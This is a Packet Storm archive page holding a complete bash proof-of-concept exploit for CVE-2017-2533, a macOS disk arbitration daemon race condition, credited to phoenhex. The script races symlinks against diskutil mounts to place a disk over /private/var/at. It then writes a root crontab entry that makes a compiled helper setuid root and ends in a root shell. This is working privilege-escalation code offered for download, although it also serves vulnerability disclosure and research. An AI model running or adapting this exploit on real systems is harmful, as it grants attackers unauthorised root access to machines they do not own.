what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Apple MacOS Disk Arbitration Daemon Race Condition

Apple MacOS Disk Arbitration Daemon Race Condition
Posted Jun 9, 2017
Authored by phoenhex

Apple MacOS disk arbitration daemon race condition exploit.

tags | exploit
systems | apple
advisories | CVE-2017-2533
SHA-256 | 5e822f89be908a76378c56e9215de59cc184f0164ff3f531107ef63a5defc99b

Apple MacOS Disk Arbitration Daemon Race Condition

Change Mirror Download
#!/bin/bash

# Sources:
# https://raw.githubusercontent.com/phoenhex/files/master/pocs/poc-mount.sh
# https://phoenhex.re/2017-06-09/pwn2own-diskarbitrationd-privesc

if ! security authorize system.volume.internal.mount &>/dev/null; then
echo 2>&1 "Cannot acquire system.volume.internal.mount right. This will not work."
exit 1
fi

TARGET=/private/var/at
SUBDIR=tabs
DISK=/dev/disk0s1

TMPDIR=/tmp/pwn
mkdir -p $TMPDIR
cd $TMPDIR

cat << EOF > boom.c
#include <assert.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char ** argv) {
assert(argc == 2);
setuid(0);
setgid(0);
system(argv[1]);
}
EOF
clang boom.c -o _boom || exit 1

race_link() {
mkdir -p mounts

while true; do
ln -snf mounts link
ln -snf $TARGET link
done
}

race_mount() {
while ! df -h | grep $TARGET >/dev/null; do
while df -h | grep $DISK >/dev/null; do
diskutil umount $DISK &>/dev/null
done
while ! df -h | grep $DISK >/dev/null; do
diskutil mount -mountPoint $TMPDIR/link/$SUBDIR $DISK &>/dev/null
done
done
}

cleanup() {
echo "Killing child process $PID and cleaning up tmp dir"
kill -9 $PID
rm -rf $TMPDIR
}

if df -h | grep $DISK >/dev/null; then
echo 2>&1 "$DISK already mounted. Exiting."
exit 1
fi

race_link &
PID=$!
trap cleanup EXIT
echo "Just imagine having that root shell. It's gonna be legen..."
race_mount

echo "wait for it..."
CMD="cp $TMPDIR/_boom $TMPDIR/boom; chmod u+s $TMPDIR/boom"
rm -f /var/at/tabs/root
echo "* * * * *" "$CMD" > /var/at/tabs/root

while ! [ -e $TMPDIR/boom ]; do
sleep 1
done

echo "dary!"
kill -9 $PID
sleep 0.1
$TMPDIR/boom "rm /var/at/tabs/root"
$TMPDIR/boom "umount -f $DISK"
$TMPDIR/boom "rm -rf $TMPDIR; cd /; su"


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close